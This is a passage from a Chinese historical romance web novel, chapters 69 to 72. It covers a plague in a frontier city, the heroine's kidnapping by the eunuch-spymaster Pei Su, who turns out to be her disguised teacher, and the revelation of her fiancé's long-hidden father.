于是这晚得空,华姝又从家中折返军营,才没进门,就听见里面一阵嘈杂喧闹。 林晟远远望见她,如见救星,连忙招呼道:“你来得正好,快些帮我劝劝他吧!可真要气死我了!” 华姝看过去,就见萧成被两位军医、及两个药童死死按住肩膀,也气得脸红脖子粗,“对,来得正好,快些帮我评评理罢!” “……”华姝预感不妙。 自古清官难断家务事,她现在跑还来得及么? 双方你来我往地又争论一番,华姝总算听明白,原是萧成见霍霆已经出征,他也迫切地想领兵上阵,因此非要吵着站起来练习走路。 萧成断腿何其严重? 别说林晟不会同意,华姝亦是严肃起来,对萧成苦口婆心地劝说一顿。 萧成一听,更急眼了。 可华姝是谁啊? 他再是气急不忿,也得打碎牙往肚子里咽。否则等老大回来,非得打断他另一条腿不可。 林晟气顺了,“我治不了你,自有人治你!” 萧成愤恨瞪他。 回过头来,同华姝小声嘀咕:“嫂子,这么多人呢,你也给我留点面子呗。” “……对不住,我下次多留神。” 华姝尴尬地揉捻衣角,默了默,她小声宽慰道:“不过断腿确是大事,伤筋动骨,万不能小觑。上次,我同王爷也是这般叮嘱的。” “啥,老大也挨骂啦?” 萧成惊奇地睁大眼,瞬间乐呵起来:“那我这心里就平衡多了。” 华姝哭笑不得。 她随后拿出做面具的材料,说明来意。 萧成一听林晟他们都没这待遇,心里更是美滋滋。 两人有说有笑地配合着,就在这时,帐外突然有一巡逻队的将领急匆匆跑来,“林军医,大事不好啦!” 林晟闻声出去,“别慌,所为何事?” 华姝等人亦是跟出去。 就见那人大口大口喘了几下粗气,然后指着云城东街的放下,神色慌里慌张地禀告道:“东街、东街疑似出现瘟疫!” 瘟、瘟疫? 在场众人瞬间骇然变色,如坠冰窟!—— 作者有话说:今天理了下后面的大纲,大概还有六七章,正文就完结啦! 大家番外有什么想看的吗[让我康康] 第70章 华府灭门的真相 瘟疫来得突然, 打得所有人措手不及。 众人连夜商议后,兵分三路—— 萧成指挥手下,将军中将士和城中百姓紧急隔离,避免瘟疫交叉感染, 大范围扩散。 林晟等人已布巾堵住口鼻, 前去为病患熏蒸艾草, 对症下药,医治抢救。 华姝带领暗卫们, 在城内全面查找瘟疫的源头,以期从根源杜绝疫情。 可一直找到次日傍晚,仍是一无所获。 城中感染的人数,却在成倍激增。 很多药铺被洗劫一空。街头上,咳嗽、高热、倒地昏迷的百姓越来越多。 有些婴孩挺不住,染病当日就夭折了。可怜母亲想送孩子最后一程,奈何瘟疫弥漫,被父亲狠下心连拉带拽着离开了。夫妻俩一步三回头,哀嚎大哭, 悲恸欲绝。 本就千疮百孔的小城, 愈加阴霾密布。 天边最后一丝夕阳褪尽, 凉风簌簌。 十字路口,目之所及, 长街漆黑寂寂。 华姝想了又想, 道出心生已久的打算:“再这般耽搁下去不是办法。咱们再分作四路, 城东西南北各自摸排搜查。若有异样, 便以烟花为信号。” 濯缨第一个不赞同:“如今城中明显混入奸细,您的安危至关重要。” 华姝自是明白这理。 然而,萧成的手下已经忙得脚不沾地。 杨靖和吴广的兵都在谨慎隔离, 蓄存实力。万一因为借调出来而感染,岂不就正中敌军的圈套? 她搓着发凉的手臂,拧眉沉吟:“那就先分作三拨。城东那边,濯缨你去寻顾主簿,看看能否借调县衙的捕快。” 事已至此,濯缨只能快去快回。 华姝与苓霄等人则一道前往城南。 此处住着何家等富绅大户,治安有序,相对要安全些。她们几人一条条街地仔细检查,尤以水源处、大范围爆发疫情之地紧要关注。 终于—— 在上门检查一钱姓富绅家时,遭到无情拒绝。哪怕她们手持“霍”字令牌,也无济于事。 苓霄侧耳凝神细听,以剑柄指着大门内,冷笑连连:“你们这院内养鸟无数,莫不是哪只鸟禽从城外染上瘟疫,又偷偷飞了回来?” 那钱家仆从自是不认,扯东扯西,眼珠子叽里咕噜乱转,明显在故意拖延着什么。 华姝不再跟他们浪费口舌,眼神示意苓霄几人先撤离,同时手指摸向腰间荷包中的信号烟花。特事特办,只待濯缨等人赶到,就立刻强攻进去。 怎料她们行至街角,迎来撞上一男子。 这男子瞧着很是眼熟,却不由分说,抬手就扬过来一大把白色粉末。 迷药的药力极强,饶是华姝几人早就用布巾堵住了口鼻,亦是抵挡不住。 她侧脸趴在冰冷的青砖上,眼皮沉重,昏迷前最后一刻,终于恍然记起曾在何处见过这人。 赫然是在那东厂督主,裴夙的身后! * 华姝醒来时,已至深夜。 双手被绑在身后,置身在一处废庙内。借着豆大一点昏黄油灯,她看清此处,是城北的送子娘娘庙。 万幸还没出城。 如今城门戒严,事情还有转圜余地。 趁四下无人,她屏息凝神,蹑手蹑脚地挪到那香案处,尝试用灯油烧断手腕的绳结。 背后视线受阻,一不小心,手背被火苗烧得火辣辣的疼。 她忍不住倒吸一口凉气。 头顶的瓦片作响,容城探头朝下,好声劝道:“华姑娘,你还是老实些吧,免得自己吃苦头。” 华姝仰头看去,提声质问:“我千想万算,都没想过会是大昭的人动手脚。你们东厂是疯了不成!两国交战在即,难道连敌我也不分了吗?” “你不用同我套话。” 容城一语道破:“这事咱俩说不着。” 说不着么? 可这不也算是重要信息吗? 跟她说不着,那就是拿她威胁霍霆了。 华姝进一步试探他态度,明目张胆地用油灯烧断绳结,这人亦是没跳下来阻止威逼,看来一时半会是安全的。 她揉着烧红的手腕,在庙内踱步两圈,慢慢往门口靠近…… “砰!” 一柄飞镖射在门板上,利刃泛着寒光。 上空,男人声音寒沉下来:“华姑娘,差不多得了!” 华姝识时务后退,抱膝蜷坐回蒲团上。 其实她是故意的。 经过这番拉扯,他才能误会她真怕了,进而放松警惕。等会趁他一时不备,她就将信号烟花丢出窗外,定能引来濯缨他们。 油灯幽幽,夜风吹得破窗“嘎吱”作响,仿似无数的孤魂野鬼在哭泣,阴森渗人。 华姝后颈汗毛直立,冷不丁一激灵。 她惊惧三分,就装出十二分的样子,双手捂住耳朵,瑟瑟尖叫了一声。 容城往下探头一瞧,嘲弄地哼了下。 华姝微微勾唇,就是现在—— “来者何人!” 不待她动手,容城先是大喝一声。 紧接着,有一人突然窜上屋顶,刀光剑影惊掠,瓦片被掀飞摔碎无数,一时间打得不可开交。 两人越打越凶,猛地一脚踩断年久失修的横梁,双双坠入庙中,滚落几圈,又一跃而起。 华姝躲到角落,瞧清那魁梧的身形。 是、是隔壁的顾铁匠?? 更意外的是,平日里憨厚寡言的顾铁匠,手握一柄重剑,攻势迅猛,将这东厂走狗打得节节败退。 她惊愕半晌,眼睫微动,蓦地猜到一种可能——东厂此番拿她作饵,真正想引出的人,莫非就是这位神秘的顾铁匠! 再联系起父亲死前留下的线索…… 华姝不作耽搁,趁乱匆匆跑出破庙,从荷包取出信号烟花,“咻!”得一声蹿升夜空,五彩缤纷,炸裂开来。 容城见状,不再恋战。 临走前,撂下狠话:“若想根除云城的瘟疫,就让镇南王拿着当年的东西,出城提头来见!” 当年的东西…… 华姝回看顾铁匠,“您究竟是何人?” 他将那柄重剑猛地一下插入地面,双手相拄,视线落在她腰间,不答反问:“丫头,这块玉佩怎得在你这?” 顷刻间,男人周身的气场雄浑一震。 华姝察觉到危险,捂住麒麟玉佩下意识后退几步,戒备盯着他,“自是王爷予我的。” 顾铁匠瞧出她的紧张,缓了缓声:“这是我给他备的周岁礼。” 华姝心尖一悸。 顾铁匠抬头望向京城的方向,目光渐有失神:“那一日的镇南侯府,高朋满座。他被他母亲抱到人前,肉乎乎的小手欢喜地抱着这枚玉佩,正式得名‘秦澜舟’。” 华姝心中狂跳,“我如何信你?” 恰在这时,濯缨一行人循着烟花追来。 他们训练有素,剑尖整齐朝外,第一时间将男人团团围住,严阵以待。 顾铁匠侧头瞥去:“你们谁是暗卫首?” 濯缨上前一步,微微眯眼,一字一顿:“不知阁下有何赐教?” 顾铁匠不疾不徐,诵出十六字暗语。 沙哑浑厚的声调,抑扬顿挫,铿锵有力:“影奉密纶,刃护宗宸,机藏方寸,死报君门。” 濯缨瞳孔骤缩:“你——” 相较之下,顾铁匠依旧气定神闲:“你本名卓瀛,还未出生就定下了。“瀛”字乃我亲笔所取,与澜舟二字相称。” 濯缨更是骇然失色,“你、你是……秦老将军?可您不是已经亡故多年?” 顾铁匠,哦不,应该是秦枭,喟然长叹一声:“说来话长。” 他看向华姝,“我知你有诸多疑问,但此处不是说话的地,咱回去再一一道来如何?” 事关华家满门的性命,华姝怎能不问? 上至年过半百的祖辈,下至牙牙学语的孩童,在到处大红灯笼高挂的喜庆新岁,本该阖家团圆的节日,全部一夕之间葬身火海,是何等惨烈? 她适才不过被油灯烤到手背,尚可疼痛难捱。试想她那些血脉至亲,活活被烟熏火燎、被炙烤成灰烬,又是何等绝望? 甚至他们到死,都不知道自己做错何事、惹到何人,又是何其无辜? 华姝攥紧手指,一瞬不瞬地盯着秦枭,好半晌,直到骨节泛白,直到眼眶通红。 “我当然要问!” “就算你是王爷的生父,若是不能给出合理解释,我一样要你血债血偿,祭奠我华府的上百口冤魂!” 说罢,她率先转身,让眼角淌下的那滴热泪悄悄吹干在夜色里,让自己在外人面前不露出一丁点的脆弱。 濯缨看看华姝,再看看秦枭,面露几分难色,不自在地朝前伸出手,“秦将军,您请。” “哼!”苓霄登即白他一眼,大步流星转身,追上华姝。 行走在空荡荡的街头,前路是一望无际的漆黑,好似深渊恶兽的大口,虎视眈眈地要吞没一切。 华姝深深吸一口气,极力佯装镇定,侧头问:“那钱富绅家中的瘟疫源头,后来可曾告知林军医?” 苓霄闻言,愈加恭敬:“林军医已带人取走那只染病鸟禽,奈何钱富绅一家均已被灭口,有用的线索不多。林军医道,需得回去再仔细翻书,或能对症下药。” 华姝叹:“如今城门大封,药材有限,他恐怕也是巧妇难为无米之炊吧。” 苓霄不自然地搓搓剑柄,悄瞥她,“林军医后来也是这般说的。”本想报喜不报忧,没想到一下子就被姑娘给戳破了。 华姝再叹。 若非如此,如今都发现了瘟疫源头,那东厂走狗又岂敢再大放厥词? 华姝再问:“你们之前带的药材,从何处所获?” 苓霄:“经驻守宜城的几位将军推举,寻到骆大夫,将他家药铺的库存全给掏空了。” 华姝失笑,默了默,“等会你去寻林军医,让他放心大胆地开药方。然后请萧将军安排人手,自身做好防护,带着染病死者的衣物,一路开道出城。” 苓霄眼一亮,抱拳:“主子英明!” 秦枭一路双臂抱刀跟在后面,远远听着,目光复杂:“好个有气魄的丫头,确是故人之姿。” 难怪他那好儿子,竟是连伦理纲常都不顾了。 * 事关重大,一行人没有回农家小院,直接来到军营。用艾草好生熏蒸一番,才避开人绕路进屋。 杨靖和吴广一心作战不便惊扰,萧成作为当年的受害者兼知情人,华姝命人将他请了过来,顺便商议出城采买药材一事。 主帅大帐,三人围坐在屏风前。 萧成半靠在担架上,惊闻秦枭身份,震惊之色一点不亚于华姝当时,“秦、秦叔伯?” 秦枭盘坐一旁,瞧着萧成脸上的疤,感慨万千:“是我对不住你们。” 华姝却没那耐心与之伤春悲秋,不过在此之前,她还牵挂着另一件事:“给王爷的那副软甲,你可有用心打造?” 秦枭神情忽地微变,幽黑的面容染上三分薄笑:“难怪他会将这么重要的玉佩都给了你。换做旁人,这会定是要先问华府之事。” 华姝被他调侃得略有不自在,抿了抿唇,板脸道:“那你就讲讲罢。据我了解,一切始于我父亲突然收到的那封信,就劳烦你从那信讲起。” 秦枭神情复而严肃,他双拳摁着膝盖,摇头道:“这得从头讲,从我镇南侯府灭门开始讲起。” 镇南侯府灭门…… 华姝闻言,忽而忆起京城别院内的那座高耸入云的黑塔,黑塔内的一座座巨石墓碑,浑身胆寒,抖然起了一层鸡皮疙瘩。 难怪祖母不准千羽表姐进出那里。 难怪祖母曾言,她根本不了解霍霆。 华姝看向一旁,萧成亦变得正襟危坐。 秦枭:“萧成应是听闻过,说我当年兵败与此,是中了南戎的美人计。” 萧成点头,“不错。” “实则受了奸人构陷,背负一身骂名,还累及侯府满门。”纵使铮铮铁骨,提及家人,秦枭亦是感怀伤秋:“事后我被迫隐姓埋名,养精蓄锐,静待时机。” “直到澜舟考中进士,真正长大成人,却也变得树大招风。” 他看向华姝,“我本欲通过你父亲,与澜舟隐秘往来。不曾想,竟是累及华家一门老小,连带着萧成他们也不知所踪。” 华姝蛾眉紧拧,神色凝结。 她张开唇瓣,齿尖颤了颤,声线也颤了颤:“所以灭我满门的,是东厂!” “彼时我不在燕京城,但不出意外,当是他们所为。”秦枭实事求是道。 “既然你知晓来龙去脉,为何早在王爷出征前不提?”事关重大,华姝不能全信他一面之词。 “就算我女扮男装你不识,就算王爷早前踪迹你不知,但他近两年常驻于宜城,兵强马壮,此去不过两三日路程,你又为何迟迟无联系?” “好个伶俐的丫头!” 秦枭忽地笑了,目露赞许:“因为相较于他,我更愿意信你,信华府的后人。” 华姝一时怔愣,不解看向萧成。 萧成若有所思,对比前后:“想必是秦叔伯,在老大封王进爵后,难以确定他在朝中的阵营立场吧?” “不错。”秦枭颔首,“若非今夜,那东厂番子说要澜舟性命,此刻我依然不会和盘托出。” 华姝琢磨一瞬,又疑惑道:“那他所谓的,当年的东西……” “关乎江山社稷,不便同你讲。” 秦枭斩钉截铁。 帐中安静下来,安静得只剩外面的阵阵虫鸣声。 萧成沉下心,极力回忆早年的事,试图串连起所有。 华姝手指紧攥成拳,隐隐作响。 结合此前的种种端倪,加上秦枭这半遮半掩的态度,反而增大些许可信度。 涉及两大世族的倾灭,此事的确极大可能关乎江山社稷。否则单凭一封书信,怎得就让东厂那般忌惮,不惜连夜灭了整个华府? 以及,她养在京城多年,以东厂的势力有太多机会捉拿她。但他们没有,而是留饵诱鱼,可见他们对那东西的重视。 当然,华姝自认才疏学浅,年少无知,还是不敢彻底信了秦枭这等老狐狸。 她与萧成一番商议,以瘟疫需要隔离而由,将秦枭连同他的一双儿女,都留在军营内看守,好吃好喝对待着。 他们一家人倒也乐得配合。 而她和暗卫们,及萧成一众人等,亦是自觉留在帐中隔离。 这期间,华姝愈加辗转难眠。 睡不着就爬起来翻看医书,试着为林晟分担一二分压力。 午夜静谧,她不时走到大帐门口,望向霍霆领兵而去的方向,水眸氤氲,五味杂陈。 澜舟,你究竟何时才能回呀? “姝儿不知道该怎么办了……” 她震惊于华府受秦枭所累。 可他也是受害者,更是霍霆生父。 这份仇,她知道不该找他报,可无法不介怀。若非秦枭主动联系,东厂又怎会突然盯上华府? 然而,霍霆他们早年亦不知关窍,哪怕以为被华府所累,仍是毅然决然一路追查至今。 这份大义,又让她惭愧。 * 祁云山脚下,一簇簇火把熊熊冲天。 霍霆率领三千精锐骑兵,将南戎的残兵一路逼进这深山老林。 一名勘察地形的轻候回来汇报:“启禀将军,这祁云山两面环海,森林那端是悬崖峭壁,只有这一处进出口。” 仅一处进出口,即可守株待兔。 霍霆回看一眼身后连着奔波数日的骑兵们,大手一挥,“就地整顿,安营生火。” 原本强撑精神的众人,皆是为之兴奋:“是!” 霍霆策身下马,又交代几人去左右岸边轮番巡视,以防止贼寇渡水潜逃。 一番安排的功夫,营帐已搭好。 他叫上长缨一道进帐,回身伸出手掌,“云城军情如何?” “云城多人不幸染上瘟疫,但疫情已得以控制。”长缨手中有两张飞鸽传书的纸条,他将下面那张递上前,“您且先瞧这张。” 霍霆缓蹙起眉,展开一看—— 骆嘉然非本人也! 霍霆身形蓦地一震,墨眸微眯,周身的气温森寒骤降。 他略作思忖,大步跨出帐外,沉声喝道:“一个时辰后,放火烧山!”《 》 70-74 第71章 裴夙的秘密 搜寻数日, 都不得见那逃窜在外的东厂阉狗,华姝寝食难安,肉眼可见地消瘦下来。 值得庆幸的是,瘟疫源头发现得早, 林晟及时配制出药方, 染病的将士和百姓都得到了尽可能妥善的安置。 华姝等人亦是平安解除隔离。 她带着苓霄等人回了一趟惠春堂, 准备看望下那位不着调的师父。听闻他前两日也被轻微感染,好在喝药及时, 已经渐渐好转。 一进院门,迎接她们的竟是天罗地网! 地上埋着一根极细的绳索,有人不慎一脚踩上去,那铺在蓝楹花树冠上的一张大网,瞬间兜头罩下。 华姝几人蜷坐在地,下意识奋力挣扎,大网上的绳索却越箍越紧。 裴夙已经褪去假面,走近俯视道:“别白费力气了。” 华姝艰难地仰头看去,骇然失色:“是你!” “是我。”裴夙淡淡回道, 然后静静瞧着她, 等着她自己发现端倪。 这微妙的瞬间, 他神情亦是微妙。 不是骆嘉然的一惯吊了郎当,不是裴夙的一惯笑里藏刀, 他自己也说不出是什么滋味。 华姝从他脸上移开视线, 环顾小院, 先是瞥见容城等一众东厂番子, 又极力探头望向西厢房,门窗紧闭,什么也瞧不见。 她心猛地一沉, 无比后悔没将师父一起带去军营。那晚她不是没派人来接,偏他说不想掺和到她那些破事中,怕是惹上麻烦一辈子都躲不掉。 她当初就不该听他的! 就该让人将他直接敲晕带走! 华姝冷眼回瞪裴夙,厉声斥道。 “我师父呢?” “你把他怎么着了?!” “倘若你敢伤他一根汗毛,这辈子也甭想找到当年的东西!” 裴夙眉心微颤,一时哑然无措。 身后的容城,脸色亦是五味杂陈。 小院有须臾的安静,蓝楹花暗香幽幽。 这时,被束缚在华姝身侧的苓霄,忽地盯紧裴夙,瞳孔骤缩:“主子,你瞧他的外衫样式!” 华姝闻声瞧去,瞧着她亲手给他找出的换洗衣衫,怔愕,难以置信,浑身凌厉的气势一瞬颓靡下去。 好似断线的风筝,从云端跌入了泥沼。 好半晌,华姝眼睫动了动。 她重新艰难地仰头看去,怔惶失色,张嘴却寻不见自己的声音:“是……是你?” 裴夙避开她受伤的目光,抬头望向远方的残阳,轻叹:“是我。” 暮色四合,一阵风穿透华姝的春衫。 风很凉,却抵不过心更凉。 “呵呵呵……”她兀自低笑出声,后牙紧咬,一字一顿:“裴督主当真下了一手好棋!” 她竟是认贼作父近十载! “哈哈哈哈哈……”华姝越笑声响越大,到最后连眼泪都笑了出来。 下一瞬,容城就眼瞧着他们一向厌恶脏污的主上,屈尊蹲下身,任由衣摆四散在地面。 裴夙抬手伸进网格内,欲为她拭去一串串泪珠,却被华姝决绝地一口咬住拇指,虎口瞬间见血。 “主上!”容城霎时抽刀上前。 裴夙若无其事,任由华姝咬着他手指,欣慰笑道:“游医两年,你这血性劲愈加大发了。” “呸!” 华姝松开嘴,吐出满满一口血。 裴夙依旧不以为意,拿出帕子随意堵住伤口,“小姝,师徒一场,我本也不欲为难你。只怪那霍霆寻到了我身世,为师也只能先带你离开了。” “你敢!” 苓霄登即急了,竭力挣扎着,怒斥:“如今云城守备重重,就凭你们几人也妄想带走我家主子?我劝尔等速速收手,尚能留条全尸!” 裴夙不耐地按了按耳朵,站起身,云淡风轻一笑:“拔了她舌头。” 话毕,立即有人上前将她们一一捆绑,又暴力绞开绳网,不由分说地要将苓霄拉过去。 紧急关头,华姝痛定思痛,强行镇定下来:“我知道那东西在哪!” 她抢先一步上前,挡在苓霄身前,“放了她,我带你们去找。” 裴夙轻叹了声,习惯性揉了揉她头顶,眼神无奈:“到如今,你都不知道那东西是什么,能去哪找?” “罢了,既是你开了口,为师总不好推拒。”他眼神示意那些人退下,谈笑间,一记手刀劈在华姝后颈,“但你,确实得跟我走。” * 华姝再醒来时,已是白日。 她人躺在一张古香古色的拔步床上,锦绣薄被,高枕软卧。 她将床帏悄掀开一条缝隙,探看外面。 屋内陌生的陈设精致华美,圆桌上摆着一炉白烟袅升的安神香。窗外一队队人影交替走动,想必是巡逻侍卫。 她轻手轻脚下床,将窗纸戳开一个洞,正欲细看,就听见一道脚步声由远及近,她赶忙溜回床上,佯装假寐。 裴夙推门进来,站定在床边,轻笑:“呼吸声都变了,起来吃些东西罢。” 说完,拎着食盒转到屋中央的圆桌处,一一取出点心和果盘,“过来瞧瞧,都是你平素爱吃的。” 华姝也没必要再浪费功夫装睡,利落套好一件鹅黄外衫,下床走过去,“你将苓霄她们如何……唔……” 裴夙夹起一片糖渍的杨桃,堵住她檀口。他虎口处已缠上白纱布,动作微有不便,“你都发话了,我还能如何?” 华姝顿了顿,嚼碎杨桃吞入腹中。 杨桃片上还滴了蜂蜜,甜滋滋的。 裴夙勾唇:“不怕我下毒?” 华姝也讥诮勾唇:“你若想下毒,我能防得住?” “这算是在夸我么?”裴夙习惯性抬手揉她头,被华姝闪身躲开,他也不恼,提起衣摆端雅而坐,“安生坐下吃罢。就算想逃跑,也得吃饱了不是?” 华姝:“……” 她坐下来,捡了几块顶饱的玫瑰酥饼,边吃思索对策:“这是哪里?” 裴夙:“锦城。” 至于具体在锦城哪里,他就不肯再说。 华姝:“你就不怕霍霆带兵攻陷这里?” 裴夙支着头,气笑:“乖乖吃东西,别再套话了。” 见他气定神闲,华姝料想,这座城已尽在他掌控之中。她抿了抿唇:“你们是如何逃出云城的?” “多亏你那灶下密室。”裴夙抬手,往她餐碟捡了一块枣泥百合酥,“我们七八个人挖了近五日,你一个人,就别想了。” 华姝顿住筷子,拧眉想了又想,眼神一凛:“那夜,你那侍卫是故意擒我又逃走的!” 擒她是为了引出顾铁匠。 逃走后,她为了保证众人安危,而暂时闲置两家的小院。却不曾想,最危险的地方就是最安全的,恰好给了他们挖地道的时机。 裴夙笑:“你这小脑瓜,若是没生在华府该多好。” 华姝讥笑连连:“怎得就不能是,你没屠杀华府该多好?” 裴夙触碰到她锐利的仇视,唇角的笑意缓缓褪色。 他摩挲着茶盏边沿,垂眸很久,“若真有选择,我亦不会出生在裴家。” 华姝疑惑瞧着他,裴夙恨自己的宗族? 是了,河东裴氏乃世家大族。若非一些惨绝人道的变故,这般温润如玉的贵公子,又何必入宫为宦。 裴夙撩起眼皮,意味不明地问:“你可知,我为何那般好洁养肤?” 华姝自然不知,她摇头,忽而想起另一件事,“你曾有言,是久病成医。” 裴夙展颜,“难为你还记得。” 有风吹入窗,香炉袅袅,一缕缕迷蒙的白烟遮住他面容,裴夙幽幽讲起一个故事。 据说,从前两个大户人家连年争端不休,后来惨败的那家老爷为表诚意,就将小儿子送到另外那家学堂去读书。 明为学习交流,实则去当出气筒。老爷心疼自己儿子,就挑了十数个伴读一起送过去。 那些伴读的家中收下无数好处,想着不过一年半载就能回来,小孩子皮实,又十几个一起去,偶尔挨些打骂又何妨? “可他们不知,那家老爷好虐娈童!” 裴夙突然提声怒喝,一掌拍在桌案上,圆桌“啪”得一声四分五裂,餐盘摔碎满地。 男人周身的气息,霎时阴森得可怖。 华姝急急起身,一路后退到窗前,戒备盯着他,心脏突突地狂跳。 裴夙没有动,迟缓低下头,看向自己伤口开裂、鲜血淋漓的手。 “比这还要脏的一双手,不断地靠近,玩弄,迫害!” “任凭他们哭喊求饶,任凭他们慌不择路。他们越害怕,他就越兴奋!” “呵呵呵……”他明明在笑,却笑得人毛骨悚然,眼尾泛起不正常的猩红,像是走火入魔一般。 华姝惊惧盯着他,双脚止不住地发软,勉强扶住窗沿而立,浑身都在抖。 她不断告诫自己要镇定,竭力抓住有用的信息。 连年争端不休、伴读、娈童…… 裴夙早已年过三十,他的幼时得追溯到二十多年前。能驱使裴氏子弟去伴读为质,大抵就是皇室。 大昭战败,二十多年前,秦枭领兵,败给南戎,前镇国侯府惨遭灭门……串起来了,全串起来了! 是以,裴夙才会如此痛恨霍霆。 华姝眸光微转,裴夙应是不知秦枭还活着吧?否则此前仅一墙之隔,他又岂能过得那般悠然自得? 她喉头吞咽,试着安抚他:“后来呢,那些人有受到惩罚吗?” “那是自然。” 裴夙歪了歪头,轻舔犬齿,唇角一抹似笑非笑:“他们都得死,都得陪葬!” 华姝心弦蓦地一紧,咬住下唇,只觉这人似在酝酿着更大的祸端。 她默了默,“那你,为何要同我讲这故事?” 裴夙身形一僵,瞳仁晃了晃,神智逐渐恢复清明。 他眼见她缩在窗前瑟瑟发抖,悔色难当,下意识上前一步,“我……” “你别过来!” 华姝仓惶地蹿到另一墙角,拔下头上的玉簪,警惕指着他,“有话就在那说,我听着呢。” “好,我不过去,你别怕。” 裴夙将鲜血淋漓的手藏到身后,负手欣长而立,又变回翩翩贵公子的模样。 “小姝,以你的聪慧,不难听懂故事的深意。” 男人眉眼低垂间,染上几分欲言又止的嘲色:“我也是受害者。若有的选,我何尝不希望自己只是闲云野鹤的骆嘉然,只是你一心想要袒护的师父?” 他看向她,“骗你是我不对,迫害华家亦是阴差阳错。你能否再给我一次机会?”他又上前一步,“我必会倾尽所有补偿你,可好?” 华姝放下簪子,“那你可愿意放我离去?” 裴夙默然一瞬:“待此事了结,我再不会阻你自由。” 华姝嗤笑。 是到那时,她这颗鱼饵就没用了吧? 裴夙瞧在眼里,叹息:“来日方长,你也不必急于答复。” 他瞥了眼满地狼藉,“我让人过来收拾掉,再给你备些新的吃食。”走出几步,他又回看她,温声叮嘱:“先在这安稳住下,没人敢为难你,有事就派人去喊我。” “吱呀——” 房门打开又合拢。 裴夙站定在门外,隐约能瞧见他侧头吩咐,声线沉冷:“好生看顾着,若有差池——” 侍卫“噗通”一声重重跪地,慌忙应道:“属下定竭力护卫华姑娘,万死不辞!” “她爱吃甜食,正餐、零嘴都让膳房多备着些,万不可慢怠了。”说罢,裴夙拂袖负手而去。 华姝确定他真的走了,强提的一口气松掉,她扶着墙,慢慢瘫坐在地。 握着玉簪的手指,仍止不住颤抖。 一切发生得太快,太突然,恍然如梦。 师父他……竟是裴夙? 她双手无助地撑着额头,这些年师徒之间真真假假的美好回忆,如过眼云烟,回想起来鼻头仍一阵阵发酸。 所以,当年的东西倒底是什么? 裴夙不惜花费近十年的心血布局。 秦枭提及关乎江山社稷…… 华姝百思不解,她微微眯眼,偶然间抓住另一根思绪的线头—— 若她没猜错,裴夙如今能权倾朝野,那当年伴读的皇子即为当今圣上。 圣上可知晓裴夙所作的一切?若不知,秦枭为何宁愿蒙冤二十多年,都不肯回京告御状?或将“当年的东西”御前呈上,将功补过。 若是圣上知晓,那…… “霍霆!” 华姝心脏骤然一沉,胆寒丛生。 霍霆如今在明,岂不是很危险?! 敲门声传来,两名婢女进来清扫。 华姝挣扎着站起身,趁机望向门外影影绰绰的侍卫,怎么办,她该怎么做才能将这一消息传递出去? 又或是像裴夙所言,霍霆已查出骆嘉然的身份,会继续顺藤摸瓜地查下去? 可她在裴夙手上,霍霆定然甚是被动。 * 接下来几日,华姝试图通过散心、消食、如厕……各种各样的理由,出门勘察院落的地形和守备。 越看越郁郁沉闷,若大的庭院内五步一岗、十步一哨,看不见的暗卫更不计其数。 有一次夜间,她假装赏荷,想坠入水下,看看能否顺着河道游出去。 当即就有一暗卫,从桥洞底下如鬼魅一般钻出来,将她完好无损地接到岸上,裙裾上连一滴水不曾沾到。 这期间,不知裴夙在谋划着什么,神龙见首不见尾,不论她闹出多大的动静都未曾露面。 她让婢女传话,说要见他。 他也让婢女传话:“主上说,姑娘不是想见他,只是想设法拖住他。” 华姝长吁短叹,只怪自己道行太浅。 总不能用绝食这种笨招吧?凡事留得青山在不愁没柴烧,她还要亲手屠了裴夙这等奸贼! 约莫三日后,晌午时分。 裴夙言笑晏晏而来,递给她一封书信,是战报。 上面写明—— 霍霆追击南戎敌军溃败,被南戎的援军前后夹击,伤亡损失严重,被迫一路退守云城。 同时城外的敌军严防死守,彻底断了补给,不出十日,只待瓮中捉鳖。 华姝手指攥紧,攥得那纸张极度变形。 嘴上却道:“不会的,我相信他定有破局之法。你们得意不了多久的!” “就这么相信他?” 裴夙像是听了个笑话,不以为意地抚了抚衣袖上的褶皱,“早在我带你离开那日,就告知锦城这处方位。你瞧瞧多少天过去了,他可曾带兵来寻你?” “哼,你少在那挑拨离间。” 华姝心脏揪得紧紧的,面上仍强装镇定:“若换作旁人,我或许会信这鬼话。可裴督主不要忘了,当场是谁将我打落悬崖,又是谁舍命救我还家?” 眼见他笑容消失,她腰杆挺得更直,“说到底,我还要感谢你……” “够了!” 裴夙冷声打断她,暴戾眼神阴气森森。 华姝后退一步,依旧昂头倔强盯着他。 裴夙气极反笑,双手叉住劲挺的细腰,缓了缓声:“你既是如此信他,那就瞧瞧三日后你我大婚,他舍不舍得拿千军万马来换你?” 结婚? 跟他?! 华姝难以置信地瞪大眼,这个疯子! “不是口口声声要瓮中捉鳖吗?”她举起那封信,故作嘲弄:“怎么,裴督主连这点信心都没有?到头来,还得通过挟持我这个小小女子,来助你完成千秋大业?” “小姝,你不必为他争取时间,更不必激我。”裴夙轻笑了声,好整以暇瞧着她,“我裴夙可不是正人君子,什么下作手段都不介意。” 华姝:“你——” 眼见她恼了,他笑得更欢:“生气的样子也这般有趣,我如何舍得让你嫁与旁人?” “你这根本不是喜欢!”华姝气急,“你不过将我当个物件,一心想占为己有罢了!” “真要如此,你以为此刻自己还能活生生站在这?”他居高临下觑着她,漆黑眼底掠过一道诡谲的冷芒,“我裴夙得不到的,就只有毁掉。” 华姝霎时不寒而栗。 不待她开口驳斥,门外突然有人急急来报:“启禀主上,城外突然大军压境,打头的是霍字旗!” 裴夙皱眉,回首:“兵数几何?” “只有五千骑兵,但他们还带着一个骆姓老妇,说要与您一命换一命。” 裴夙骤然变色,“哗啦”一把拉开屋门,厉声诘问:“你再说一遍,带着谁?!” 第72章 大婚 “轰隆隆——” 巍峨朱红色的城门应声洞开。 城门外两军对垒, 卫泾分明。 一方步卒林立,长矛如林,寒光映日,杀气凝霜。 一方铁骑高悬半空, 银甲曜日, 长剑出鞘, 锋刃裂空。 双方气势剑拔弩张,一触即发。 华姝跟在裴夙身后, 跨出城门,一眼认出这支银甲骑兵,正是那夜霍霆去敌袭时所率领的人马。 而此刻,身披玄铁盔甲,正襟危坐于骑兵正前方之人,赫然就是霍霆。 半月未见,他披风猎猎飞舞,周身的战意愈加磅礴杀伐,气势汹汹。 如此, 华姝就放心了。 一来没有受伤。 二来, 没似战报所写的一路败北, 萎靡不振。 她就知道,她的澜舟岂会被人轻易降服? 几乎同时, 霍霆也高坐马上, 眺望着城门口, 自上而下, 仔细打量着那个姑娘。 甲胄彪汉丛立的人群中,唯她一人是那般的单薄纤瘦,双手被缚于身后, 口中塞着帕子不能言。 